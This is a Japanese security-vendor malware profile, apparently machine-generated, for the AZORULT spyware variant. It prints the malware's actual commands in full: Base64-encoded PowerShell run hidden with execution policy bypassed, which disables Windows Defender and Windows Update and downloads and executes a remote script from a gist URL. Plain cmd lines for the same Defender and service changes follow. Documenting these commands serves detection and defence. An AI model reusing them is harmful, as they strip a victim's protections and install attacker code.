TrojanSpy.Win32.AZORULT.UJT

スパイウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

侵入方法

スパイウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

インストール

スパイウェアは、以下のプロセスを追加します。

• powershell -w 1 -exec bypass -ec JABjAG8AbQAgAD0AIAAiAFUAdwBCAGwAQQBIAFEAQQBMAFEAQgBOAEEASABBAEEAVQBBAEIAeQBBAEcAVQBBAFoAZwBCAGwAQQBIAEkAQQBaAFEAQgB1AEEARwBNAEEAWgBRAEEAZwBBAEMAMABBAFIAQQBCAHAAQQBIAE0AQQBZAFEAQgBpAEEARwB3AEEAWgBRAEIAUwBBAEcAVQBBAFkAUQBCAHMAQQBIAFEAQQBhAFEAQgB0AEEARwBVAEEAVABRAEIAdgBBAEcANABBAGEAUQBCADAAQQBHADgAQQBjAGcAQgBwAEEARwA0AEEAWgB3AEEAZwBBAEMAUQBBAGQAQQBCAHkAQQBIAFUAQQBaAFEAQQBLAEEARwBNAEEAYgBRAEIAawBBAEMAQQBBAEwAdwBCAGoAQQBDAEEAQQBjAGcAQgBsAEEARwBjAEEASQBBAEIAaABBAEcAUQBBAFoAQQBBAGcAQQBDAGMAQQBTAEEAQgBMAEEARQBVAEEAVwBRAEIAZgBBAEUAdwBBAFQAdwBCAEQAQQBFAEUAQQBUAEEAQgBmAEEARQAwAEEAUQBRAEIARABBAEUAZwBBAFMAUQBCAE8AQQBFAFUAQQBYAEEAQgBUAEEARQA4AEEAUgBnAEIAVQBBAEYAYwBBAFEAUQBCAFMAQQBFAFUAQQBYAEEAQgBRAEEARwA4AEEAYgBBAEIAcABBAEcATQBBAGEAUQBCAGwAQQBIAE0AQQBYAEEAQgBOAEEARwBrAEEAWQB3AEIAeQBBAEcAOABBAGMAdwBCAHYAQQBHAFkAQQBkAEEAQgBjAEEARgBjAEEAYQBRAEIAdQBBAEcAUQBBAGIAdwBCADMAQQBIAE0AQQBJAEEAQgBFAEEARwBVAEEAWgBnAEIAbABBAEcANABBAFoAQQBCAGwAQQBIAEkAQQBKAHcAQQBnAEEAQwA4AEEAZABnAEEAZwBBAEUAUQBBAGEAUQBCAHoAQQBHAEUAQQBZAGcAQgBzAEEARwBVAEEAUQBRAEIAdQBBAEgAUQBBAGEAUQBCAFQAQQBIAEEAQQBlAFEAQgAzAEEARwBFAEEAYwBnAEIAbABBAEMAQQBBAEwAdwBCADAAQQBDAEEAQQBVAGcAQgBGAEEARQBjAEEAWAB3AEIARQBBAEYAYwBBAFQAdwBCAFMAQQBFAFEAQQBJAEEAQQB2AEEARwBRAEEASQBBAEEAeABBAEMAQQBBAEwAdwBCAG0AQQBBAG8AQQBZAHcAQgB0AEEARwBRAEEASQBBAEEAdgBBAEcATQBBAEkAQQBCAHoAQQBHAE0AQQBJAEEAQgB6AEEASABRAEEAYgB3AEIAdwBBAEMAQQBBAGQAdwBCADEAQQBHAEUAQQBkAFEAQgB6AEEARwBVAEEAYwBnAEIAMgBBAEEAbwBBAFkAdwBCAHQAQQBHAFEAQQBJAEEAQQB2AEEARwBNAEEASQBBAEIAegBBAEcATQBBAEkAQQBCAGoAQQBHADgAQQBiAGcAQgBtAEEARwBrAEEAWgB3AEEAZwBBAEgAYwBBAGQAUQBCAGgAQQBIAFUAQQBjAHcAQgBsAEEASABJAEEAZABnAEEAZwBBAEgATQBBAGQAQQBCAGgAQQBIAEkAQQBkAEEAQQA5AEEAQwBBAEEAWgBBAEIAcABBAEgATQBBAFkAUQBCAGkAQQBHAHcAQQBaAFEAQgBrAEEAQQBvAEEAYQBRAEIAbABBAEgAZwBBAEkAQQBBAG8AQQBDAGcAQQBUAGcAQgBsAEEASABjAEEATABRAEIAUABBAEcASQBBAGEAZwBCAGwAQQBHAE0AQQBkAEEAQQBnAEEARgBNAEEAZQBRAEIAegBBAEgAUQBBAFoAUQBCAHQAQQBDADQAQQBUAGcAQgBsAEEASABRAEEATABnAEIAWABBAEcAVQBBAFkAZwBCAEQAQQBHAHcAQQBhAFEAQgBsAEEARwA0AEEAZABBAEEAcABBAEMANABBAFIAQQBCAHYAQQBIAGMAQQBiAGcAQgBzAEEARwA4AEEAWQBRAEIAawBBAEYATQBBAGQAQQBCAHkAQQBHAGsAQQBiAGcAQgBuAEEAQwBnAEEASgB3AEIAbwBBAEgAUQBBAGQAQQBCAHcAQQBIAE0AQQBPAGcAQQB2AEEAQwA4AEEAWgB3AEIAcABBAEgATQBBAGQAQQBBAHUAQQBHAGMAQQBhAFEAQgAwAEEARwBnAEEAZABRAEIAaQBBAEgAVQBBAGMAdwBCAGwAQQBIAEkAQQBZAHcAQgB2AEEARwA0AEEAZABBAEIAbABBAEcANABBAGQAQQBBAHUAQQBHAE0AQQBiAHcAQgB0AEEAQwA4AEEAYwB3AEIAegBBAEcAdwBBAGMAdwBCAGwAQQBHAE0AQQBkAFEAQgB5AEEARwBrAEEAZABBAEIANQBBAEcAOABBAGIAZwBCAHMAQQBHAGsAQQBiAGcAQgBsAEEAQwA4AEEAWgBnAEEAeQBBAEQAUQBBAFkAZwBBADUAQQBEAGcAQQBaAEEAQQA0AEEARABrAEEAWgBBAEEAMgBBAEcASQBBAE0AQQBCAGoAQQBEAEUAQQBaAFEAQgBtAEEARABjAEEAWQB3AEEAegBBAEcAUQBBAE0AZwBBADAAQQBHAFUAQQBOAHcAQQA0AEEARABnAEEATQB3AEEAMABBAEQAZwBBAFoAQQBCAGwAQQBDADgAQQBjAGcAQgBoAEEASABjAEEATAB3AEEAMgBBAEcAVQBBAE0AdwBCAGoAQQBHAEkAQQBPAFEAQQAyAEEARABZAEEATgBRAEIAagBBAEQAQQBBAE0AZwBBAHcAQQBEAFkAQQBOAFEAQgBqAEEARwBNAEEATQBnAEEAMABBAEQAZwBBAE4AdwBCAGgAQQBHAEUAQQBNAFEAQgBrAEEARABNAEEATQBnAEEAeQBBAEQAZwBBAFoAUQBBAHkAQQBEAFUAQQBNAHcAQQB4AEEARABZAEEATQB3AEEAMgBBAEcAWQBBAFoAQQBBAHcAQQBDADgAQQBZAFEAQgBoAEEAQwBjAEEASwBRAEEAcABBAEEAbwBBAEMAZwBBAD0AIgAKAHQAcgB5AHsACgAgACAAIAAgAHMAdABhAHIAdAAtAHAAcgBvAGMAZQBzAHMAIABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAIgAgAC0AdwAgADEAIAAtAGUAeABlAGMAIABiAHkAcABhAHMAcwAgAC0AZQBuAGMAIAAkAGMAbwBtACIAIAAtAFYAZQByAGIAIABSAHUAbgBBAHMAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuAAoAfQBjAGEAdABjAGgAewBzAHQAYQByAHQALQBwAHIAbwBjAGUAcwBzACAAcABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIAIAAtAHcAIAAxACAALQBlAHgAZQBjACAAYgB5AHAAYQBzAHMAIAAtAGUAbgBjACAAJABjAG8AbQAiACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgB9ACAACgAKAA==
• %System%\WindowsPowerShell\v1.0\powershell.exe -w 1 -exec bypass -enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQAKAGMAbQBkACAALwBjACAAcgBlAGcAIABhAGQAZAAgACcASABLAEUAWQBfAEwATwBDAEEATABfAE0AQQBDAEgASQBOAEUAXABTAE8ARgBUAFcAQQBSAEUAXABQAG8AbABpAGMAaQBlAHMAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAIABEAGUAZgBlAG4AZABlAHIAJwAgAC8AdgAgAEQAaQBzAGEAYgBsAGUAQQBuAHQAaQBTAHAAeQB3AGEAcgBlACAALwB0ACAAUgBFAEcAXwBEAFcATwBSAEQAIAAvAGQAIAAxACAALwBmAAoAYwBtAGQAIAAvAGMAIABzAGMAIABzAHQAbwBwACAAdwB1AGEAdQBzAGUAcgB2AAoAYwBtAGQAIAAvAGMAIABzAGMAIABjAG8AbgBmAGkAZwAgAHcAdQBhAHUAcwBlAHIAdgAgAHMAdABhAHIAdAA9ACAAZABpAHMAYQBiAGwAZQBkAAoAaQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AZwBpAHMAdAAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBzAGwAcwBlAGMAdQByAGkAdAB5AG8AbgBsAGkAbgBlAC8AZgAyADQAYgA5ADgAZAA4ADkAZAA2AGIAMABjADEAZQBmADcAYwAzAGQAMgA0AGUANwA4ADgAMwA0ADgAZABlAC8AcgBhAHcALwA2AGUAMwBjAGIAOQA2ADYANQBjADAAMgAwADYANQBjAGMAMgA0ADgANwBhAGEAMQBkADMAMgAyADgAZQAyADUAMwAxADYAMwA2AGYAZAAwAC8AYQBhACcAKQApAAoACgA=
• "%System%\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
• "%System%\cmd.exe" /c sc stop wuauserv
• "%System%\cmd.exe" /c sc config wuauserv start= disabled

(註：%System%フォルダは、システムフォルダで、いずれのオペレーティングシステム(OS)でも通常、"C:\Windows\System32" です。.)

他のシステム変更

スパイウェアは、以下のレジストリ値を追加します。

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\
Microsoft\Windows Defender
DisableAntiSpyware = "1"

その他

スパイウェアは、以下の不正なWebサイトにアクセスします。

• http://gist.{BLOCKED}usercontent.com

このウイルス情報は、自動解析システムにより作成されました。